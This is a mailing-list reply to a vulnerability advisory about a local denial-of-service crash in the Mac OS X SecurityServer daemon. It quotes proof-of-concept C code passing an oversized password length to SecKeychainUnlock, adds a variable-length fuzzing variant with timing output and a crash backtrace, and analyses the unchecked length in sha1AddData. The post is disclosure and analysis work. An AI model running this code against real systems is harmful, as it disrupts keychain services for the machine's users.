Re: Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin.
In article <BC175C14.1C6E%marukka@xxxxxxx>,
Matt Burnett <marukka@xxxxxxx> wrote:
> Advisory Name
> Local Denial Of Service Attack Against The SecurityServer Daemon In MacOS X,
> MacOS X Server, And Darwin.
> Proof Of Concept Code
> To build this code run ³gcc <file name> -framework Security o
> CrashSecurityServer²
>
> #include <Security/Security.h>
> int main(int argc, const char *argv[])
> {
> SecKeychainRef defaultKeychain;
> SecKeychainCopyDefault(&defaultKeychain);
> SecKeychainLock(defaultKeychain);
> SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true);
> return 0;
> }
I've done some cursory testing on a G5 with code that generates a fake
length password.... This winds up in the middle of the above code...
/* Build the password string */
n = atoi(argv[1]); /* sure... I trust argv... */
s = (char *)malloc(n+1);
for (i=0; i < n; i++)
s[i] = 'A' + (i % 26);
s[n] = '\0';
i = SecKeychainUnlock(defaultKeychain, n+atoi(argv[2]), s, true);
printf("Returned %i\n",i);
So argv[1] is the length of the bogus password to generate and argv[2]
is the amount of extra passwordLength to pad on. Some sample runs
showed the following output and times:
(8 byte password, 60k extra length)
Returned -25293
./OflowSecurityServer 8 60000 0.02s user 0.02s system 1% cpu 2.105 total
(8 byte password, 600k extra length)
Returned -25293
./OflowSecurityServer 8 600000 0.03s user 0.01s system 0% cpu 19.212
total
The scaling seems to be close to linear based on the length of the
string. But then something interesting happens:
Returned -2147414015
./OflowSecurityServer 8 6000000 0.02s user 0.01s system 63% cpu 0.047
total
Returned -2147414015
./OflowSecurityServer 8 6000000 0.01s user 0.03s system 0% cpu 5.197
total
Returned -2147414015
./OflowSecurityServer 8 4294967287 0.02s user 0.01s system 72% cpu
0.041 total
That's MININT + 69633. No idea what the significance there is. And
equivilant CPU time is spent with the SecurityServer process doing
something if a wait is indicated by a large wall clock time in those
examples.
On this G5 anyway, I'm unable to replicate the SecurityServer crash.
Results from a G4 scale similarly at first, but do crash the
SecurityServer for 0xffffffff passwordLength.
The corefile gives the following callpath: (thanks John)
Thread 0 Crashed:
0 <<00000000>> 0xffff8cf4 __memcpy + 0x554
1 com.apple.security 0x920fa534 sha1AddData + 0xa0
2 com.apple.security 0x92102a68 hmacInit + 0x6c
3 com.apple.security 0x9210294c hmacsha1 + 0x54
4 com.apple.security 0x9210286c F + 0x8c
5 com.apple.security 0x92102768 pbkdf2 + 0x84
6 com.apple.security 0x921026c0
AppleCSPSession::DeriveKey_PBKDF2(Security::Context const&,
Security::CssmData const&, cssm_data*) + 0x174
7 com.apple.security 0x9210249c AppleCSPSession::DeriveKey(unsigned
long long, Security::Context const&, Security::CssmData&, unsigned long,
unsigned long, Security::CssmData const*, cssm_resource_control_context
const*, Security::CssmKey&) + 0x1bc
8 com.apple.security 0x92102228 cssm_DeriveKey(unsigned long,
unsigned long long, cssm_context const*, cssm_data*, unsigned long,
unsigned long, cssm_data const*, cssm_resource_control_context const*,
cssm_key*) + 0x304
9 com.apple.security 0x92101dec CSSM_DeriveKey + 0xa8
10 com.apple.security 0x921014f8
Security::CssmClient::DeriveKey::operator()(Security::CssmData*,
Security::CssmClient::KeySpec const&) + 0x234
We can see from here that part of the problem is in the following file:
http://cvs.opendarwin.org/index.cgi/src/Security/AppleCSP/MiscCSPAlgs/SHA
1.c?rev=1.1.1.2&content-type=text/x-cvsweb-markup in sha1AddData()
Cursory examination tends to indicate that the ridiculously large
passwordLength is simply being passed on through these calls without any
vetting of whether it is a reasonable value. And with an insane
count/blocks value in sha1AddData's call to shsUpdate(), the memcpy that
shsUpdate does can quite easily stomp off into oblivion causing a
segmentation fault.
Hopefully someone can build on the information given here. I think
sufficient source may be available for a homebrew fix, but I have to
attend to other matters at this particular moment.
> Vendor Response
> Apple Developer Connection told me that Apple does not give release dates
> for patches.
> 11-20-03 Vendor is notified of flaw and is supplied with
> proof of concept code.
> 12-29-03 Asked vendor for status update. Apple Product
> Security referred me to Apple Developer Connection.
> Apple Developer Connection informed me that Apple
> does not give release dates for patches.
> 12-30-03 Advisory and proof of concept code
> released.
Yeah, Apple doesn't seem very interested in maintaining any sort of
status contact with people submitting security reports to them right
now. Hopefully this will change in the future.
--
William A. Carrel